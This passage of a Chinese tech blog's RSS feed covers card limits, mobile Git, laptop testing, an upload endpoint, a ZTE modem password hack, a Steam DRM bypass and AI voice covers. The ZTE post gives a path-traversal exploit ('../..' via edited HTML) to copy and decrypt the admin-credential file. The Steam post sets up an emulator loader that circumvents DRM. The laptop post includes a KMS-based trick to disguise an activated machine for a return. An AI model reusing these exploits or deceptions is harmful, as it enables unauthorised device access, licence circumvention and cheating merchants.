&lt;p&gt;设想一个场景你有一个类卡日限额10000 CNY卡里余额8000 CNY你现在想要购买一个6000 CNY的商品于是使用微信或支付宝进行支付然后你款式选错了于是进行退款好在商家还没有发货痛快的给你退款了然后看似你的卡状态又回到了一开始的状态你重新确认款式再次购买然后被银行卡拒绝了说超出限额。注意到了吗当你第一次成功扣款后你的当日限额就只有 4000 CNY了哪怕原款项已经原封不动退回你的卡里了但是你付了就是付了不管你最终是退款了还是成功交易了限额在你的钱从卡到对面商户那边的那一瞬间就已经扣除了并且无法恢复。同样的对于将卡里的钱提现到微信和支付宝也是会扣除你的日限额所以跨平台互转需谨慎一不小心你的卡就会进入只进不出的情况当你多次交易被拒绝后某些银行还会暂时冻结你的银行卡还需要带上身份证跑线下&lt;/p&gt;
&lt;h1&gt;信用卡与储蓄卡&lt;/h1&gt;
&lt;p&gt;不知道你是否注意到一件事,那就是我们在上文提到的Ⅰ类,Ⅱ类,Ⅲ类都提到了 &lt;strong&gt;日限额&lt;/strong&gt; 唯独信用卡没有提到 &lt;strong&gt;日限额&lt;/strong&gt; 。那么,信用卡是否就没有日限额呢?&lt;/p&gt;
&lt;p&gt;信用卡的确没有日限额但是你微信支付宝的钱无法直接提现到信用卡中要先转到储蓄卡然后通过银行APP中的 &lt;strong&gt;转账&lt;/strong&gt; 输入卡号将钱款转入信用卡&lt;/p&gt;
&lt;p&gt;欸?你是否又发现一件事,没错!就算信用卡无日限额,但是最终将钱转到信用卡的时候,还是会扣除你对应的储蓄卡的日限额,你最终能转的钱一天还是那么多&lt;/p&gt;
&lt;p&gt;信用卡无论是否有信用额度,各大发卡行都和微信支付宝有合作,你的日常消费使用信用卡大概率是有优惠,并且每笔都可以攒积分(类似于国外的 &lt;strong&gt;返现&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;但是需要注意,我目前就读的学校食堂仅能用支付宝支付,且不支持信用卡,我只能在储蓄卡中留点余额&lt;/p&gt;
&lt;p&gt;这也是国内支付的一个窘境,各大机构都鼓励你使用信用卡支付,但是有些商家不支持信用卡。而对于没有银行卡的未成年人群体,想要在微信和支付宝互转则是极其困难的,这也催生了 &lt;strong&gt;代付&lt;/strong&gt; 业务,中介收取部分手续费,然后帮你支付(比如你只有微信余额但是想在淘宝买东西)&lt;/p&gt;
&lt;h1&gt;对于巨头,我们只能妥协&lt;/h1&gt;
&lt;p&gt;这几年淘宝曾经灰度了几次微信扫码付,但是大多数用户反馈就看到过几次,经常是今天能付,明天就找不到入口了。而京东始终不支持支付宝支付&lt;/p&gt;
&lt;p&gt;在很长一段时间,&lt;strong&gt;蓝绿争霸&lt;/strong&gt; 并不会停止,我们仍然需要将钱通过银行卡在各平台互转,且自己承担卡被冻结的风险&lt;/p&gt;
&lt;p&gt;而互转的时候微信通常会收取0.01%的服务费小额可以通过做活动领取免服务费提现券而支付宝会给每个自然人终生2w的免费提现额度之后也会收取0.01%的服务费,在你看来,这可能无关痛痒,但是你想想每天有多少人在使用微信支付宝来回互转余额?就算每笔只收一毛钱的手续费,一秒也能创造出高额的收益,对于巨头,我们只能妥协&lt;/p&gt;
</content:encoded></item><item><title>如何在安卓手机上优雅的写我的博客</title><link>https://blog.acofork.com/posts/mobile-git/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mobile-git/</guid><description>在桌面端我们可以使用vsc+obsidian来写文章那么在手机上呢</description><pubDate>Tue, 11 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;为了让我出门在外也能通过我的手机来撰写我的博客文章,我研究了一下,发现是完全可以的&lt;/p&gt;
&lt;p&gt;首先我们需要挑选一个手机上的git客户端这里我使用的是 https://github.com/catpuppyapp/PuppyGit&lt;/p&gt;
&lt;p&gt;安装之后,点击右上角的加号,点击克隆,即可克隆仓库
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-11-13-56_a2e3670364a4153bdb03dad30c8d4108.CyrUBTzK.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建Github Token
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-55-54-35_df198e732186825c8df26e3c5a10d7cd1.DjiSEDGg.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将其添加到小狗Git
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-56-23-48_a2e3670364a4153bdb03dad30c8d41081.CzvGlGBY.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;链接仓库&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-24-07-56-33-62_a2e3670364a4153bdb03dad30c8d4108.BPtruL29.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当你修改好后,点击 &lt;strong&gt;需要提交&lt;/strong&gt; 按钮,进入提交界面
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-11-59-16_a2e3670364a4153bdb03dad30c8d4108.DwFLD4N6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后点击右上角三个点就可以做我们最常用的 &lt;strong&gt;提交commit拉取pull推送push&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-13-03-99_a2e3670364a4153bdb03dad30c8d4108.ByLFKnxn.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好的既然我们有了git客户端那么既然要写文章自然是需要一个好用的markdown编辑器很巧的是&lt;strong&gt;obsidian&lt;/strong&gt; 也有移动端!
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-15-01-63_b5a5c5cb02ca09c784c5d88160e2ec24.icT7fgM5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开后导入仓库src/content就可以啦并且会自动同步桌面端的插件无缝迁移
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-15-59-46_51606159b24eff83e24a54116878fe3e.CDsDqDeW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在桌面端我们想要新建文章一般会用Fuwari特有的 &lt;code&gt;pnpm new-post xxx&lt;/code&gt; 命令,不过在手机上我们可以曲线救国,选择一个文章,&lt;strong&gt;创建副本&lt;/strong&gt; 后再更改元数据即可!
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-11-11-14-17-32-08_51606159b24eff83e24a54116878fe3e.WzZnJnlB.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后!本篇文章也是用手机写的哦!&lt;/p&gt;
</content:encoded></item><item><title>限制级笔记本电脑验机教程</title><link>https://blog.acofork.com/posts/check-notebook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/check-notebook/</guid><description>众所周知,笔记本电脑在激活后就不能七天无理由退了,但是不联网又很难测,那么有没有什么两全其美的办法呢?</description><pubDate>Mon, 10 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;说在前面&lt;/h1&gt;
&lt;p&gt;首先,购买任何 &lt;strong&gt;较贵重的&lt;/strong&gt; 电子产品,都应该录制 &lt;strong&gt;开箱视频&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个 &lt;strong&gt;专业的&lt;/strong&gt; 开箱视频应当:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;展示 &lt;strong&gt;完整的,无破损&lt;/strong&gt; 的快递外包装&lt;/li&gt;
&lt;li&gt;完整录制下拆箱过程。&lt;strong&gt;切勿遮挡,漏拍,剪辑过程&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;依次展示包装盒内的内容:包括 &lt;strong&gt;电子产品本体,说明书,保修卡等&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;检查产品是否 &lt;strong&gt;缺发,错发&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;检查产品外观是否有 &lt;strong&gt;破损,污损&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;完整录制下产品开机和测试过程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;确定不想要了&lt;/strong&gt; ,请完整拍摄重新封包并退货的视频&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开箱视频并不会每一次都用到,但在真正用到的时候一定可以减少纠纷&lt;/p&gt;
&lt;h1&gt;激活原理以及绕过原理&lt;/h1&gt;
&lt;p&gt;现代的预装了Windows10/11的笔记本电脑在出厂后第一次联网后会自动激活且无法撤销&lt;/p&gt;
&lt;p&gt;一旦联网,你的笔电将会&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;和微软服务器通信并自动激活上报主板id和激活码自动激活无需人工干预&lt;/li&gt;
&lt;li&gt;将许可证写入系统,哪怕在断网并人为反激活后,依然可以在断网状态下再次激活&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这道题看似无解实则有解归功于Windows按版本许可的激活和x86架构主板的开放性我们可以采取以下措施做到
&lt;strong&gt;既不激活系统,又能联网进行测试,且不破坏出厂预装系统&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先我们要知道Windows的激活并不是一个许可证通杀所有版本。目前99%的笔记本电脑出厂预装 &lt;strong&gt;Windows 10/11 家庭中文版&lt;/strong&gt; 联网后自动激活的也是这个版本&lt;/p&gt;
&lt;p&gt;那么,我们可以安装一个 &lt;strong&gt;非Windows 10/11家庭中文版&lt;/strong&gt; 的系统(如:专业版,专业工作站版)&lt;/p&gt;
&lt;p&gt;接着,在这个 &lt;strong&gt;我们自己安装的&lt;/strong&gt; 系统里面,大大方方的进行联网测试&lt;/p&gt;
&lt;p&gt;最终,测试完毕,若不满意想要退货,删除 &lt;strong&gt;我们自己安装的&lt;/strong&gt; 系统,然后大大方方走 &lt;strong&gt;7天无理由退货&lt;/strong&gt; ,之后,只要你包装完整,不漏件丢件, &lt;strong&gt;100%退款成功!&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;准备U盘便于进PE装系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先,买一台笔记本电脑,到货后通电自动开机&lt;/p&gt;
&lt;p&gt;关机然后开机进入bios选择U盘作为启动项进入U盘的PE系统&lt;/p&gt;
&lt;p&gt;打开分区工具如diskgenius分一个新区装新系统&lt;/p&gt;
&lt;p&gt;前往微软官方的Windows 10/11下载站下载 &lt;strong&gt;多版本的ISO有些又叫multi-editon ISO&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将ISO安装导新分的区注意不要安装 &lt;strong&gt;Windows 家庭中文版&lt;/strong&gt;,除此以外哪个都行&lt;/p&gt;
&lt;p&gt;开机,测试&lt;/p&gt;
&lt;p&gt;如果决定退货请重新进入pe还原分区然后装箱封包退货退款&lt;/p&gt;
&lt;h1&gt;邪道:已经激活了还想退&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;实验性方法,在你确认自己绝对不退之前请不要激活系统!!!这种方法会影响商家的二次销售,请体谅商家!!!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如题,假如你已经手贱联网并自动激活了 &lt;strong&gt;Windows 家庭中文版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么很抱歉,激活了就是激活了,只要商家想查,会查,那么这台机子就是 &lt;strong&gt;已激活&lt;/strong&gt; 你无法改微软的数据库,但是,如果你赌商家只看 &lt;strong&gt;系统层&lt;/strong&gt; 是否激活,那这招可以一试&lt;/p&gt;
&lt;p&gt;首先用heu kms卸载当前系统密钥此时打开设置Windows会被反激活&lt;/p&gt;
&lt;p&gt;这时,再找一个 &lt;strong&gt;专业版&lt;/strong&gt; 的通用密钥,选择 &lt;strong&gt;升级Windows&lt;/strong&gt; 输入密钥,等待系统自动升级为 &lt;strong&gt;专业版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后退货&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这种方法是在赌商家不会联网查询激活情况当机子到商家那后商家无法通过点击疑难解答来激活Windows。但是如果商家会刷机一旦你的机子的Windows版本被刷回了Windows家庭中文版就会自动激活就露馅了&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>自建一个匿名文件上传终结点</title><link>https://blog.acofork.com/posts/unknown-upload/</link><guid isPermaLink="true">https://blog.acofork.com/posts/unknown-upload/</guid><description>你有没有遇到过一种场景?在学校/公司电脑需要带一个文件走但是又不想安装远程软件。那么今天教你无需U盘让你在任何地方将你想要的文件带回你家</description><pubDate>Sat, 08 Nov 2025 11:02:04 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1Hz1DBZEov/&lt;/p&gt;
&lt;h1&gt;明确需求&lt;/h1&gt;
&lt;p&gt;在做一个项目时,无论大小,首先我们要知道自己需要什么,哪些是刚需,哪些是次要的,哪些是根本不必要的&lt;/p&gt;
&lt;p&gt;深度思考一下,我觉得该项目使用场景应该在:当我处于非家庭环境,且手上有一台不直通家庭网络但是可连接至互联网的设备,需要传输一些非敏感文件且文件不大(如:文档,截图,小软件)&lt;/p&gt;
&lt;p&gt;那么大致的需求即为:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;基于Web网页制作一个前端页面必须包含一个 &lt;code&gt;input file&lt;/code&gt; 。上传完成打印上传完成&lt;/li&gt;
&lt;li&gt;后端将文件放到一个存储空间。该存储空间必须在家庭网络内较方便的访问&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;梳理思路,决定架构&lt;/h1&gt;
&lt;p&gt;一开始我想用一种最简单的方法,这种方法无需编写任何代码。那就是使用 &lt;a href=&quot;https://hsk.oray.com/news/14884.html&quot;&gt;【花生壳HFS for win 正式版】使用教程-贝锐花生壳官网&lt;/a&gt; 。我只需要将该软件部署在我的家庭电脑然后通过CDN将服务映射到公网即可。但这会遇到几个问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;若我的家庭电脑离线,服务将不可用&lt;/li&gt;
&lt;li&gt;使用时会占用家中的下载带宽&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/unknown-upload-1.Cpo7Qrwr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么换个思路,我们是否可以借助对象存储?&lt;/p&gt;
&lt;p&gt;当然可以,我只需要找一个云函数连接到我的对象存储,然后提供一个上传端点&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;于是我找到了EdgeOne Pages它的Functions非常适合做这件事且支持原生Node运行时也就是 &lt;code&gt;node-functions&lt;/code&gt; 直接使用 &lt;code&gt;AWS-S3&lt;/code&gt; 这个NPM包再做一个最简单的前端上传页面搞定&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/unknown-upload-2.BALUOA7I.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为了防止上传重名文件,每个文件上传后都会被重命名为 &lt;code&gt;原文件名_时间戳_IP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;该项目已开源 &lt;a href=&quot;https://github.com/afoim/EdgeOnePageFunctionUnknownUploader-S3-&quot;&gt;afoim/EdgeOnePageFunctionUnknownUploader-S3-&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>ZTE光猫F450不拆机获取超密</title><link>https://blog.acofork.com/posts/zte-f450-bridge/</link><guid isPermaLink="true">https://blog.acofork.com/posts/zte-f450-bridge/</guid><description>朋友老早之前就想将光猫改为桥接,今天终于整上了,但奈何没有超密,不过,在互联网的帮助下,我们最终找到了解决方案</description><pubDate>Sat, 01 Nov 2025 14:42:54 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;参考:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/z47913/article/details/140727685&quot;&gt;ZTE光猫F450不拆机获取超密_zxhnf450光猫超级密码-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1ri4y1h7Zo/?vd_source=6b94c66d8e200ba092130f674228bbff&quot;&gt;【网络】中兴天翼光猫F450/F650超管密码获取_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;基本原理&lt;/h1&gt;
&lt;p&gt;通过外接USB通过官方的文件管理注入路径 &lt;code&gt;../..&lt;/code&gt; 来查看根目录并将记录了光猫超密的文件复制到U盘并进行解密读取以知晓超密&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先准备一个U盘&lt;strong&gt;必须带有 FAT32 格式的分区&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;插入光猫的USB口等待识别&lt;/p&gt;
&lt;p&gt;进入光猫的文件管理查看U盘内文件。此时F12选中其中一个文件夹将 HTML 代码改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:;&quot; style=&quot;color:#535353;&quot;
onclick=&quot;openfile(&apos;../..&apos;, false)&quot;
title=&quot;System Volume Information&quot;&amp;gt;
System Volume Information
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后点击该文件夹,等待几秒后就进入了光猫的 &lt;code&gt;/&lt;/code&gt; 目录&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;/userconfig/cfg/db_user_cfg.xml&lt;/code&gt; 到U盘&lt;/p&gt;
&lt;p&gt;拔出U盘插入电脑&lt;code&gt;db_user_cfg.xml&lt;/code&gt; 拿出&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://www.nirsoft.net/utils/router_password_recovery.html&quot;&gt;RouterPassView - 从 Windows 上的路由器备份文件中恢复丢失的密码&lt;/a&gt; 下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/zte-f450-bridge.BuVp2h5P.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/zte-f450-bridge-1.Isgk30JL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压并使用 &lt;code&gt;RouterPassView&lt;/code&gt; 打开 &lt;code&gt;db_user_cfg.xml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;搜索 &lt;code&gt;tele&lt;/code&gt; ,寻找超密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/zte-f450-bridge-3.OeOHvUel.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何绕过Steam直接启动Steam上的游戏</title><link>https://blog.acofork.com/posts/hook-steam-drm/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hook-steam-drm/</guid><description>经常买Steam单机游戏的小伙伴们都知道Steam上的大部分游戏在启动时都要求Steam在后台运行那么如果我只是在玩一个单机游戏又不想带Steam启动要怎么办呢这篇文章来帮你</description><pubDate>Wed, 15 Oct 2025 14:39:40 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们需要有一个完整的Steam版的游戏包体&lt;/p&gt;
&lt;p&gt;前往 &lt;code&gt;Steam\steamapps&lt;/code&gt; 你会发现有很多的 &lt;code&gt;appmanifest_xxx.acf&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/hook-steam-drm-3.C0wuVKJ5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;strong&gt;记事本&lt;/strong&gt; 挨个打开知道找到你需要Hook的游戏记录以下信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/hook-steam-drm-4.CXdQvhOz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/Wu-Yijun/steam_client_loader&quot;&gt;Wu-Yijun/steam_client_loader&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载最新的文件名带有 &lt;strong&gt;Windows&lt;/strong&gt;&lt;strong&gt;Release&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/hook-steam-drm-1.C4RyUA_Y.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压,剔除无关文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/hook-steam-drm-2.4PB-3GAD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;ColdClientLoader.ini&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#My own modified version of ColdClientLoader originally by Rat431
[SteamClient]
Exe=manosaba.exe
ExeRunDir=.
ExeCommandLine=
#IMPORTANT:
AppId=3101040
SteamClientDll=steamclient.dll
SteamClient64Dll=steamclient64.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Exe&lt;/code&gt; 填写要启动的程序名称&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AppId&lt;/code&gt; 填写上一步获取的&lt;/p&gt;
&lt;p&gt;保存&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;steam_settings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;force_steamid.txt&lt;/code&gt; 填入上一步获取的 &lt;code&gt;LastOwner&lt;/code&gt; 字段的值&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;DLC.txt&lt;/code&gt; 填入 &lt;code&gt;AppId=Name&lt;/code&gt;,如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3101040=魔法少女ノ魔女裁判
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回到根目录,将所有文件复制到游戏文件夹内,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/hook-steam-drm-5.DC_dgUFP.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后运行, &lt;code&gt;steamclient_loader.exe&lt;/code&gt; 即可在不启动Steam的情况下直接拉起游戏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/VMWSQyHhF5.Stk6fQsV.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你AI翻唱</title><link>https://blog.acofork.com/posts/rvc/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rvc/</guid><description>利用RVC训练音色模型然后使用Replay直出AI翻唱</description><pubDate>Mon, 13 Oct 2025 14:23:12 GMT</pubDate><content:encoded>&lt;h1&gt;视频教程&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV19F41zPEnM/&lt;/p&gt;
&lt;h1&gt;流程&lt;/h1&gt;
&lt;p&gt;RVC训练角色音色模型&lt;/p&gt;
&lt;p&gt;Replay利用音色模型+原曲进行AI翻唱&lt;/p&gt;
&lt;p&gt;UVR&amp;amp;MSST进行人声伴奏分离&lt;/p&gt;
&lt;h1&gt;准备音源&lt;/h1&gt;
&lt;p&gt;至少10分钟推荐1小时。音频内仅允许有一种音色可以有停顿如果想要更高质量可以自己裁剪停顿处&lt;/p&gt;
&lt;h1&gt;利用RVC训练模型&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://github.com/RVC-Project/Retrieval-based-Voice-Conversion-WebUI&quot;&gt;RVC-Project/Retrieval-based-Voice-Conversion-WebUI: Easily train a good VC model with voice data &amp;lt;= 10 mins!&lt;/a&gt; 根据你的系统和显卡来进行下载,或者使用该链接下载(国内高速) &lt;a href=&quot;https://www.yuque.com/flowercry/hxf0ds&quot;&gt;语音克隆&amp;amp;变声器 整合包下载&lt;/a&gt; 注意不要下错了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-1.DypkMEZa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接运行 &lt;code&gt;go-web.bat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-2.BZI9wJTq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 WebUI 并切换到训练一栏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-3.wv2ePDB3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先写模型名称&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-4.C_A5SJdu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后将你的音源放到一个空文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-5.CiKOwkmz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后填进去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-6.BUsZcHb3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总训练轮数推荐50 ~ 200&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-7.-cMFLZZf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击一键训练(需要很久,建议晚上睡觉前训练)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-8.DKynRhbA.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;训练结束后可以在 &lt;code&gt;assets/weights&lt;/code&gt; 找到模型文件, &lt;code&gt;.pth&lt;/code&gt; 结尾的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-9.DECOhO4u.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;利用Replay做AI翻唱&lt;/h1&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://www.weights.com/replay&quot;&gt;Replay&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先 &lt;strong&gt;Select Audio&lt;/strong&gt; 选择你的原歌曲&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt; 选择刚刚训练出的模型&lt;/p&gt;
&lt;p&gt;然后点击 &lt;strong&gt;Convert Audio&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-10.BQk7GbZm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在输出的文件的 &lt;strong&gt;View in Folder&lt;/strong&gt; 可以找到 &lt;strong&gt;干净的AI人声&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-11.CXII5Hmz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;伴奏和人声分离&lt;/h1&gt;
&lt;h3&gt;UVR&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你是50系显卡请前往&lt;a href=&quot;https://github.com/Anjok07/ultimatevocalremovergui/issues/1889&quot;&gt;GPU Acceleration Hangs on RTX 5070Ti (Driver 576.80, CUDA 12.9) · Issue #1889 · Anjok07/ultimatevocalremovergui&lt;/a&gt;通过&lt;a href=&quot;https://www.mediafire.com/file_premium/4jg10r9wa3tujav/UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8.zip/file&quot;&gt;UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8&lt;/a&gt;下载适用于50系显卡的UVR&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://github.com/Anjok07/ultimatevocalremovergui&quot;&gt;Anjok07/ultimatevocalremovergui: GUI for a Vocal Remover that uses Deep Neural Networks.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先下载模型,选择设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-12.CW3wUU1h.png&quot; alt=&quot;&quot; /&gt;
选择 &lt;strong&gt;Download Center&lt;/strong&gt; 下载 &lt;strong&gt;VR Arch&lt;/strong&gt;&lt;strong&gt;5_HP-Karaoke-UVR&lt;/strong&gt; 模型。然后回到首页
&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-13.C7kVm3o4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先通过 &lt;strong&gt;Select Input&lt;/strong&gt; 选择原音频&lt;/p&gt;
&lt;p&gt;然后通过 &lt;strong&gt;Select Output&lt;/strong&gt; 选择输出的文件夹&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHOOSE PROCESS METHOD&lt;/strong&gt; 选择 &lt;strong&gt;VR Architecture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHOOSE VR MODEL&lt;/strong&gt; 选择我们刚刚下载的 &lt;strong&gt;5_HP-Karaoke-UVR&lt;/strong&gt; 模型&lt;/p&gt;
&lt;p&gt;勾选 &lt;strong&gt;GPU Conversion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;strong&gt;Start Processing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-14.Ii_Hcdp1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
